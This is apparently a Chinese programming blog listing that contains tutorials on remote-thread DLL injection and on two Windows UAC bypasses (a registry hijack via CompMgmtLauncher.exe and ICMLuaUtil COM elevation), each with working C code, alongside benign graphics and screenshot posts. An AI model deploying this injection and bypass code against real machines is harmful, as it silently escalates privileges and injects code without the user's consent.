分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019

文章列表

  • 传统的远线程注入DLL技术剖析

    背景想必很多人应该都听说过远线程注入DLL技术这个概念,的确,这是一个很巧妙,也很经典的DLL注入技术。为何说是巧妙,等你看完这篇文章就了解了。
    本文讲解的是传统的远线程注入方法,也就是使用 CreateRemoteThread 函数实现的。那么,之所以说是传统,是因为在讲完传统的远线程注入方法后,我们会介绍目前最新的远线程注入方式,注入功能比传统的还要强大。
    现在,我就先讲解传统的远线程注入,把实现过程和原理整理成文档,分享给大家。
    函数介绍OpenProcess 函数
    打开现有的本地进程对象。
    函数声明
    HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId);
    参数

    dwDesiredAccess [in]访问进程对象。此访问权限针对进程的安全描述符进行检查。此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容如何,都会授予所请求的访问权限。bInheritHandle [in]若此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。dwProcessId [in]要打开的本地进程的标识符。如果指定的进程是系统进程(0x00000000),则该函数失败,最后一个错误代码为ERROR_INVALID_PARAMETER。如果指定的进程是空闲进程或CSRSS进程之一,则此功能将失败,并且最后一个错误代码为ERROR_ACCESS_DENIED,因为它们的访问限制会阻止用户级代码打开它们。如果您使用GetCurrentProcessId作为此函数的参数,请考虑使用GetCurrentProcess而不是OpenProcess,以提高性能。
    返回值

    如果函数成功,则返回值是指定进程的打开句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    VirtualAllocEx 函数
    在指定进程的虚拟地址空间内保留,提交或更改内存区域的状态。 该函数初始化其分配给零的内存。
    函数声明
    LPVOID WINAPI VirtualAllocEx( _In_ HANDLE hProcess, _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect);
    参数

    hProcess [in]过程的句柄。该函数在该进程的虚拟地址空间内分配内存。句柄必须具有PROCESS_VM_OPERATION权限。有关更多信息,请参阅流程安全和访问权限。
    lpAddress [in]指定要分配的页面的所需起始地址的指针。如果您正在保留内存,则该函数会将该地址舍入到分配粒度的最接近的倍数。如果您提交已经保留的内存,该功能会将该地址舍入到最接近的页面边界。要确定页面的大小和主机上的分配粒度,请使用GetSystemInfo函数。如果lpAddress为NULL,则该函数确定在哪里分配该区域。
    dwSize [in]要分配的内存大小,以字节为单位。如果lpAddress为NULL,则函数将dwSize循环到下一个页面边界。如果lpAddress不为NULL,则该函数将从lpAddress到lpAddress + dwSize的范围内分配包含一个或多个字节的所有页面。这意味着,例如,跨越页面边界的2字节范围会导致功能分配两个页面。
    flAllocationType [in]内存分配类型。此参数必须包含以下值之一:




    VALUE
    MEANING




    MEM_COMMIT
    为指定的预留内存页分配内存费用(从磁盘上的内存和分页文件的总体大小)。 该函数还保证当调用者稍后初次访问存储器时,内容将为零。 除非/直到虚拟地址被实际访问,实际的物理页面才被分配


    MEM_RESERVE
    保留进程的虚拟地址空间的范围,而不会在内存或磁盘上的分页文件中分配任何实际物理存储


    MEM_RESET
    表示由lpAddress和dwSize指定的内存范围内的数据不再受关注。 页面不应从页面文件中读取或写入页面文件。 然而,内存块将在以后再次被使用,所以不应该被分解。 该值不能与任何其他值一起使用


    MEM_RESET_UNDO
    只能在早期成功应用了MEM_RESET的地址范围上调用MEM_RESET_UNDO。 它指示由lpAddress和dwSize指定的指定内存范围内的数据对呼叫者感兴趣,并尝试反转MEM_RESET的影响。 如果功能成功,则表示指定地址范围内的所有数据都是完整的。 如果功能失败,地址范围中的至少一些数据已被替换为零




    flProtect [in]要分配的页面区域的内存保护。 如果页面被提交,您可以指定任何一个内存保护常量。如果lpAddress指定了一个地址,flProtect不能是以下值之一:PAGE_NOACCESSPAGE_GUARDPAGE_NOCACHEPAGE_WRITECOMBINE
    返回值

    如果函数成功,则返回值是分配的页面区域的基址。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    WriteProcessMemory 函数
    在指定的进程中将数据写入内存区域。 要写入的整个区域必须可访问或操作失败。
    函数声明
    BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten);
    参数

    hProcess [in]要修改的进程内存的句柄。 句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问进程。lpBaseAddress [in]指向写入数据的指定进程中的基地址的指针。 在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可访问,则该函数将失败。lpBuffer [in]指向缓冲区的指针,其中包含要写入指定进程的地址空间的数据。nSize [in]要写入指定进程的字节数。lpNumberOfBytesWritten [out]指向变量的指针,该变量接收传输到指定进程的字节数。 此参数是可选的。 如果lpNumberOfBytesWritten为NULL,则忽略该参数。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为0(零)。 要获取扩展错误信息,请调用GetLastError。

    CreateRemoteThread 函数
    创建在另一个进程的虚拟地址空间中运行的线程。使用CreateRemoteThreadEx函数创建在另一个进程的虚拟地址空间中运行的线程,并可选地指定扩展属性。
    函数声明
    HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
    参数

    hProcess [in]要创建线程的进程的句柄。 句柄必须具有PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE和PROCESS_VM_READ访问权限,如果某些平台上没有这些权限,可能会失败。 有关更多信息,请参阅流程安全和访问权限。lpThreadAttributes [in]指向SECURITY_ATTRIBUTES结构的指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。 如果lpThreadAttributes为NULL,则线程将获得默认安全描述符,并且该句柄不能被继承。 线程的默认安全描述符中的访问控制列表(ACL)来自创建者的主令牌。dwStackSize [in]堆栈的初始大小,以字节为单位。 系统将此值循环到最近的页面。 如果此参数为0(零),则新线程使用可执行文件的默认大小。 有关更多信息,请参阅线程堆栈大小。lpStartAddress [in]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序定义函数的指针,并表示远程进程中线程的起始地址。 该功能必须存在于远程进程中。 有关更多信息,请参阅ThreadProc。lpParameter [in]指向要传递给线程函数的变量的指针。dwCreationFlags [in]控制线程创建的标志。若是 0,则表示线程在创建后立即运行。lpThreadId [out]指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符。
    返回值

    如果函数成功,则返回值是新线程的句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    实现原理远线程注入 DLL 中的远线程,是因为使用的关键函数是 CreateRemoteThread,来在其它的进程空间中创建一个线程。那么,它为何能够使其它进程加载一个 DLL,实现 DLL 注入呢?接下来我就为大家一一分析。
    首先,我们加载一个 DLL,通常使用 LoadLibrary 函数来实现 DLL 的动态加载。那么,先来看下 LoadLibrary 函数的声明:
    HMODULE WINAPI LoadLibrary( _In_ LPCTSTR lpFileName);
    从上面的函数声明可以知道,LoadLibrary 函数的参数只有一个,传递的是要加载的 DLL 的路径字符串。
    然后,我们再看下创建远线程的函数 CreateRemoteThread 的函数声明:
    HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ SIZE_T dwStackSize, _In_ LPTHREAD_START_ROUTINE lpStartAddress, _In_ LPVOID lpParameter, _In_ DWORD dwCreationFlags, _Out_ LPDWORD lpThreadId);
    我们可以从声明中知道,CreateRemoteThread 需要传递的是目标进程空间的多线程函数地址,以及多线程的参数。
    接下来,我们将上述两者结合,开始大胆设想一下,如果,我们能够获取目标进程的 LoadLibrary 函数的地址,而且还能够获取目标进程空间中某个 DLL 路径的字符串地址,那么,将LoadLibrary 函数的地址作为多线程函数的地址,某个 DLL 路径字符串作为多线程函数的参数,传递给 CreateRemoteThread 函数在目标进程空间创建一个多线程,这样能不能创建成功呢?答案是可以的。这样,就可以在目标进程空间中创建一个多线程,这个多线程就是 LoadLibrary 函数加载 DLL。
    那么,这样远线程注入的原理大概就了解了吧。那么要实现远线程注入 DLL,还需要解决以下两个问题:一是目标进程空间的 LoadLibrary 函数地址是多少呢?二是如何向目标进程空间中写入 DLL 路径字符串数据呢?
    对于第一个问题,我们知道由于机制随机化ASLR(Address space layout randomization),导致每次开机时加载的系统 DLL 的加载基址都不一样,从而导致了 DLL 的导出函数的地址也都不一样。即使如此,但要注意一个关键的一个知识点就是:

    有些系统DLL中的指令是Position dependent的,要求所有进程中必须一致。比如kernel32中的新线程入口,ntdll中的异常处理入口等。其实这个地址只是要求系统启动之后必须固定,如果系统重新启动,其地址可以不同。
    Copy-On-Write机制,不改多进程共享,改写内容的页系统会立即给当前进程复制一份,这样这个地址与其它进程中相同地址所映射的物理内存就不同了,怎么改都不会影响其它进程。

    也就是说,虽然不同进程,但是其 Kernel32.dll 的加载基址是相同的,也就是说,自己程序空间的 LoadLibrary 函数地址和其它进程空间的 LoadLibrary 函数地址相同。
    对于第二个问题,我们可以直接调用 VirtualAllocEx 函数在目标进程空间中申请一块内存,然后再调用 WriteProcessMemory 函数将指定的 DLL 路径写入到目标进程空间中。
    这样,我们就可以调用 CreateRemoteThread 函数,实现远线程注入DLL了。
    编码实现// 使用 CreateRemoteThread 实现远线程注入BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName){ HANDLE hProcess = NULL; DWORD dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入 HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL); if (NULL == hRemoteThread) { ShowError("CreateRemoteThread"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); return TRUE;}
    程序测试我们对 520.exe 进程注入我们的测试 DLL,DLL 成功注入到 520.exe 进程空间中:


    总结要注意以管理员权限运行程序,因为由于 OpenProcess 函数的缘故,打开高权限的进程时,会因进程权限不足而无法打开进程,获取进程句柄。其中,我们将当前进程令牌权限提升至 SE_DEBUG_NAME权限,具体的进程令牌权限提升可以参考 “使用AdjustTokenPrivileges函数提升进程访问令牌的权限“ 这篇文章。
    这个是传统的远线程注入 DLL 方法,有一个问题就是,不能成功注入到一些系统服务进程,因为系统存在 SESSION 0 隔离。接下来,就继续讲解突破 SESSION 0 隔离的远线程注入,成功向系统服务进程注入 DLL。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-12 09:21:05
  • 图片显示特效之背景循环滚动

    背景大家玩游戏的时候,特别是横板游戏,应该会注意到,角色移动的时候,背景是会不停的变化的。如果游戏地图很大的话,可能背景不会重复,但是,如果游戏地图很小的话,大家应该会发现地图会循环显示。背景的循环显示,可以帮助节约游戏的图片资源,同时也可以增加游戏的趣味性。
    那么,本文想要介绍的就是背景图片的循环滚动的实现原理和过程。之前,自己写的小游戏也常使用到这个技术,现在,就把学习的心得写成文档,分享给大家。
    实现原理为了方便大家理解背景的单向循环滚动的原理,我就详细分析一个简单的实例。首先,我们先来看下面这张图片,这张图片被均匀分成:红、绿、蓝三个部分。

    那么,如果要实现它单向循环滚动的话,就应该每次循环都要“移花接木”般地绘图。意思是说,如果,图片向左单向滚动的话,那就每次循环,都要把左边一小部分的图片,移到图片末尾,然后再统一显示。每次循环都如此,这样就实现了背景的单向循环滚动。
    就以上面的图片为例子,首先第 1 次循环,我们看到的效果是这样的:

    第 2 次循环,我们把左边一小部分,目前是红色部分移到图片末尾,再显示出来,图片效果是:

    第 3 次循环,我们仍然是把把左边一小部分,目前是绿色部分移到图片末尾,再显示出来,图片效果是:

    再往下循环,那么大家应该可以看到规律了吧,图片重复了,又开始从头开始进行操作循环显示了。图片还是这一张图片,但是,我们把“移花接木”地显示,每次把左边的一小部分画面,都放到图片末尾来绘制,就能实现动态的效果。
    编程实现 int iWidth = 640; // 图片宽度 int iHeight = 480; // 图片高度 int iWidthRecord = 0; // 移动宽度记录 int m = 10; // 每次循环移动宽度 while (TRUE) { // 背景单向循环滚动 WindowShadesPaint(hWnd, iWidthRecord); // 更新绘制宽度 iWidthRecord = (iWidthRecord + m) % iWidth; // 停顿一下 Sleep(50); }
    // 背景单向循环滚动BOOL WindowShadesPaint(HWND hWnd, int iWidthRecord){ // 获取窗口的客户区域的显示设备上下文环境的句柄 HDC hDC = ::GetDC(hWnd); // 创建一个与hDC兼容的内存设备上下文环境 HDC hBuf = ::CreateCompatibleDC(hDC); // 加载位图, 获取位图句柄 HBITMAP hBmp = (HBITMAP)::LoadImage(NULL, "test.bmp", IMAGE_BITMAP, 0, 0, LR_LOADFROMFILE); // 选择位图句柄到hBuf中, 并获取返回的原来位图句柄 HBITMAP hOldBmp = (HBITMAP)::SelectObject(hBuf, hBmp); // 背景单向循环滚动 int iWidth = 640; // 图片宽度 int iHeight = 480; // 图片高度 // 绘制左边部分 ::BitBlt(hDC, 0, 0, (iWidth-iWidthRecord), iHeight, hBuf, iWidthRecord, 0, SRCCOPY); // 绘制右边部分 ::BitBlt(hDC, (iWidth - iWidthRecord), 0, iWidthRecord, iHeight, hBuf, 0, 0, SRCCOPY); // 还原位图对象 ::SelectObject(hBuf, hOldBmp); // 释放位图 ::DeleteObject(hBmp); // 释放兼容的内存设备上下文环境 ::DeleteDC(hBuf); // 释放设备上下文环境 ::ReleaseDC(hWnd, hDC); return TRUE;}
    程序测试我们呢就直接运行程序,直接可以看到图片在单向的循环滚动显示。由于画面是动态的,所以,我就截几张代表性的图片作为展示。



    总结类似的实现原理,如果之前你们有接触过,可以先把程序实现出来,然后,一边运行程序,看着实现效果对应实现原理去理解比较好。
    其中,要注意的是,因为这个图片显示,是一直循环显示的,所以,如果显示图片的这段代码放在窗口主线程的话,窗口会一直被卡住,所以,建议这段显示部分的代码,创建一个多线程,把它放在多线程中显示,这样就不会影响主线程的操作了。
    1 回答 2019-01-09 12:16:55
  • Bypass UAC 提权小结

    背景UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
    UAC需要授权的动作包括:配置Windows Update;增加或删除用户账户;改变用户的账户类型;改变UAC设置;安装ActiveX;安装或移除程序;安装设备驱动程序;设置家长控制;将文件移动或复制到Program Files或Windows目录;查看其他用户文件夹等。
    在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
    所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。接下来,分别介绍这两种Bypass UAC的实现方法。
    6.2.1 基于白名单程序Bypass UAC有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
    接下来,选取白名单程序CompMgmtLauncher.exe计算机管理程序进行详细分析,利用它实现Bypass UAC提权。下述的分析过程是在64位Windows 10操作系统上完成的,使用到的关键工具软件是进程监控器Procmon.exe。
    实现过程首先,直接到System32目录下运行CompMgmtLauncher.exe程序,并没有出现UAC弹窗,直接显示计算机管理的窗口界面。其中,使用进程监控器Procmon.exe来监控CompMgmtLauncher.exe进程的所有操作行为,主要是监控注册表和文件的操作。通过分析Procmon.exe的监控数据发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中数据,发现该路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command\(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息,如图6-1所示。然后,CompMgmtLauncher.exe会根据读取到的路径启动程序,显示计算机管理的窗口界面。

    在CompMgmtLauncher.exe启动的过程中,有一个关键的操作就是它会先读取注册表HKCU\Software\Classes\mscfile\shell\open\command的数据。打开系统注册表编辑器regedit.exe,查看相应路径下的注册表,发现该注册表路径确实不存在。所以,如果自己构造该注册路径,写入启动程序的路径,这样,CompMgmtLauncher.exe便会启动该程序。为了验证这个猜想,自己手动添加该注册表路径,并设置默认的数据为C:\Windows\System32\cmd.exe,然后使用Procmon.exe进行监控并运行CompMgmtLauncher.exe,成功弹出cmd.exe命令行窗口,而且提示管理员权限,如图6-2所示。

    查看Procmon.exe的监控数据,CompMgmtLauncher.exe确实直接读取HKCU\Software\Classes\mscfile\shell\open\command\(Default)注册表路径中的数据并启动,如图6-3所示。

    所以,利用CompMgmtLauncher.exe白名单程序Bypass UAC提权的原理便是,程序自己创建并添加注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default),并写入自定义的程序路径。接着,运行CompMgmtLauncher.exe程序,完成Bypass UAC提权操作。其中,HKEY_CURRENT_USER注册表是用户注册表,程序使用普通权限即可进行修改。
    那么,基于CompMgmtLauncher.exe白名单程序Bypass UAC具体实现代码如下所示。
    // 修改注册表BOOL SetReg(char *lpszExePath){ HKEY hKey = NULL; // 创建项 ::RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\mscfile\\Shell\\Open\\Command", 0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL); if (NULL == hKey) { ShowError("RegCreateKeyEx"); return FALSE; } // 设置键值 ::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE *)lpszExePath, (1 + ::lstrlen(lpszExePath))); // 关闭注册表 ::RegCloseKey(hKey); return TRUE;}
    测试直接运行上述程序,向注册表HKCU\Software\Classes\mscfile\shell\open\command\(Default)中写入cmd.exe的路径,启动cmd.exe进程。cmd.exe成功启动,窗口标题显示管理员字样,如图6-4所示。

    6.2.2 基于COM组件接口Bypass UACCOM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
    使用权限提升COM类的程序必须调通过用CoCreateInstanceAsAdmin函数来创建COM类,CoCreateInstanceAsAdmin函数的代码可以在MSDN网页( https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms679687.aspx )上找到,下面给出的是CoCreateInstanceAsAdmin函数的改进代码,增加了初始化COM环境的代码。
    那么,COM提升名称具体的实现代码如下所示。
    HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid){ BIND_OPTS3 bo; WCHAR wszCLSID[MAX_PATH] = { 0 }; WCHAR wszMonikerName[MAX_PATH] = { 0 }; HRESULT hr = 0; // 初始化COM环境 ::CoInitialize(NULL); // 构造字符串 ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0]))); hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID); if (FAILED(hr)) { return hr; } // 设置BIND_OPTS3 ::RtlZeroMemory(&bo, sizeof(bo)); bo.cbStruct = sizeof(bo); bo.hwnd = hWnd; bo.dwClassContext = CLSCTX_LOCAL_SERVER; // 创建名称对象并获取COM对象 hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid); return hr;}
    执行上述代码,即可创建并激活提升权限的COM类。ICMLuaUtil接口通过上述方法创建后,直接调用ShellExec方法创建指定进程,完成Bypass UAC的操作。
    那么,基于ICMLuaUtil接口Bypass UAC的具体实现代码如下所示。
    BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable){ HRESULT hr = 0; CLSID clsidICMLuaUtil = { 0 }; IID iidICMLuaUtil = { 0 }; ICMLuaUtil *CMLuaUtil = NULL; BOOL bRet = FALSE; do { ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil); ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil); // 提权 hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil)); if (FAILED(hr)) { break; } // 启动程序 hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW); if (FAILED(hr)) { break; } bRet = TRUE; }while(FALSE); // 释放 if (CMLuaUtil) { CMLuaUtil->lpVtbl->Release(CMLuaUtil); } return bRet;}
    要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。
    其中,利用rundll32.exe来调用自定义DLL中的导出函数,导出函数的参数和返回值是有特殊规定的,必须是如下形式。
    // 导出函数给rundll32.exe调用执行void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)测试将上述Bypass UAC的代码写在DLL的项目工程中,同时开发Test控制台项目工程,负责并将BypassUAC函数导出给rundll32.exe程序调用,完成Bypass UAC工作。Bypass UAC启动的是cmd.exe程序,所以,直接运行Test.exe即可看到cmd.exe命令行窗口,而且窗口标题有管理员字样,如图6-5所示。

    小结对于上述基于白名单程序实现Bypass UAC的程序编译为32位程序,测试环境运行在64位Windows 10系统上。当32位程序访问64位的System32文件目录的时候,会出现文件重定向,可以调用Wow64DisableWow64FsRedirection和Wow64RevertWow64FsRedirection函数来关闭和恢复文件重定向。而且,32位在操作64位系统的注册表的时候,也会出现注册表重定向的情况,可以在调用RegCreateKeyEx函数打开注册表的时候,设置KEY_WOW64_64KEY注册表访问权限,以确保能正确访问64位下的注册表,不被注册表重定向。
    对于上述基于COM组件接口技术实现Bypass UAC的程序编译为DLL项目工程,通过被可信程序类似rundll32.exe加载调用方可不弹窗Bypass UAC。调用COM函数之前,一定要先调用CoInitialize函数来初始化COM环境,否则调用COM接口函数失败。
    实现Bypass UAC的方法很多,并不局限于白名单程序和COM接口技术。不同的Bypass UAC方法,其具体的实现过程大都不一样。随着操作系统的升级更新,现在Bypass UAC成功的方法,可能在以后不再适用,但,也会有新的Bypass UAC的方法出现,攻与防是相互博弈的过程。
    对这方面技术感兴趣的读者,可以到GITHUB开源平台上搜索UACME的开源项目,里面收集了很多关于Bypass UAC的方法。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-01-08 08:35:42
  • 包含鼠标位置的屏幕截屏并保存为图片文件

    背景在开发自己的专属程序“恶魔的结界”的时候,里面就有一个功能,实现屏幕的截屏,而且是包含鼠标位置的截屏。因为,通常情况下,我们看到的截屏都是没有显示鼠标的截屏,这次我们需要实现显示鼠标的截屏。而且,保存为本地的图片文件。
    现在,我就把这个小程序的实现过程和实现原理写成文档,分享给大家。
    函数介绍GetDesktopWindow 函数
    该函数返回桌面窗口的句柄。桌面窗口覆盖整个屏幕。桌面窗口是一个要在其上绘制所有的图标和其他窗口的区域。
    函数声明
    HWND WINAPI GetDesktopWindow(void);
    参数

    无参数。
    返回值

    返回桌面窗口的句柄。

    GetDC 函数
    该函数检索一指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄,以后可以在GDI函数中使用该句柄来在设备上下文环境中绘图。
    函数声明
    HDC GetDC( HWND hWnd);
    参数

    hWnd:设备上下文环境被检索的窗口的句柄,如果该值为NULL,GetDC则检索整个屏幕的设备上下文环境。
    返回值

    若执行成功,则返回指定窗口的客户区域或整个屏幕的显示设备上下文环境的句柄;若执行失败,则返回NULL。

    CreateCompatibleDC 函数
    该函数创建一个与指定设备兼容的内存设备上下文环境(DC)。
    函数声明
    HDC CreateCompatibleDC( HDC hdc );
    参数

    hdc:现有设备上下文环境的句柄,如果该句柄为NULL,该函数创建一个与应用程序的当前显示器兼容的内存设备上下文环境。
    返回值

    如果成功,则返回内存设备上下文环境的句柄;如果失败,则返回值为NULL。

    CreateCompatibleBitmap 函数
    创建与与指定设备上下文关联的设备兼容的位图。
    函数声明
    HBITMAP CreateCompatibleBitmap( _In_ HDC hdc, _In_ int nWidth, _In_ int nHeight);
    参数

    hdc [in]设备上下文的句柄。nWidth [in]位图宽度,以像素为单位。nHeight [in]位图高度,以像素为单位。
    返回值

    如果函数成功,则返回值是兼容位图(DDB)的句柄。如果函数失败,返回值为NULL。

    SelectObject 函数
    该函数选择一对象到指定的设备上下文环境中,该新对象替换先前的相同类型的对象。
    函数声明
    HGDIOBJ SelectObject( HDC hdc, HGDIOBJ hgdiobj );
    参数

    hdc:设备上下文环境的句柄。hgdiobj:被选择的对象的句柄,该指定对象必须由如下的函数创建。
    返回值

    如果选择对象不是区域并且函数执行成功,那么返回值是被取代的对象的句柄;如果选择对象是区域并且函数执行成功,返回如下一值:
    ​ SIMPLEREGION:区域由单个矩形组成;
    ​ COMPLEXREGION:区域由多个矩形组成;
    ​ NULLREGION:区域为空。
    如果发生错误并且选择对象不是一个区域,那么返回值为NULL,否则返回HGDI_ERROR。


    BitBlt 函数
    对指定的源设备环境区域中的像素进行位块(bit_block)转换,以传送到目标设备环境。
    函数声明
    BOOL BitBlt( HDC hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, HDC hdcSrc, int nXSrc, int nYSrc, DWORD dwRop);
    参数

    hdcDest:指向目标设备环境的句柄。nXDest:指定目标矩形区域左上角的X轴逻辑坐标。nYDest:指定目标矩形区域左上角的Y轴逻辑坐标。nWidth:指定源在目标矩形区域的逻辑宽度。nHeight:指定源在目标矩形区域的逻辑高度。hdcSrc:指向源设备环境的句柄。nXSrc:指定源矩形区域左上角的X轴逻辑坐标。nYSrc:指定源矩形区域左上角的Y轴逻辑坐标。dwRop:指定光栅操作代码。这些代码将定义源矩形区域的颜色数据,如何与目标矩形区域的颜色数据组合以完成最后的颜色。
    返回值

    如果函数成功,那么返回值非零;如果函数失败,则返回值为零。

    GetSystemMetrics 函数
    检索指定的系统度量或系统配置设置。
    函数声明
    int WINAPI GetSystemMetrics( _In_ int nIndex);
    参数

    nIndex [in]要检索的系统度量或配置设置。 此参数可以是以下值之一。 请注意,所有SM_CX 值都是宽度,所有SM_CY 值都是高度。 还要注意,设计为返回布尔数据的所有设置都表示TRUE作为任何非零值,FALSE为零值。
    其中,SM_CXSCREEN表示主显示屏的屏幕宽度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值;SM_CYSCREEN表示主显示屏的屏幕高度,以像素为单位。 这是通过调用GetDeviceCaps获得的相同的值。

    返回值

    如果函数成功,则返回值是所请求的系统度量或配置设置。如果函数失败,则返回值为0。

    实现原理获取桌面屏幕位图句柄的实现原理是:

    首先,使用GetDesktopWindow获取桌面窗口的句柄
    然后,根据句柄使用GetDC获取桌面窗口的设备环境上下文句柄。同时使用CreateCompatibleDC创建与桌面窗口兼容的内存设备上下文环境
    接着,使用GetSystemMetrics获取计算机显示屏幕的宽和高的像素值,并调用CreateCompatibleBitmap兼容位图
    最后,使用SelectObject将把创建的兼容位图选进兼容内存设备上下文环境中,并使用BitBlt函数把桌面内容绘制到兼容位图上

    这样,我们就获取了屏幕内容的位图句柄了.
    对于鼠标的获取,则需要另外绘制上去。

    首先,使用GetCursorPos获取以屏幕坐标表示的鼠标的位置
    然后,使用GetCursor函数获取当前光标的句柄
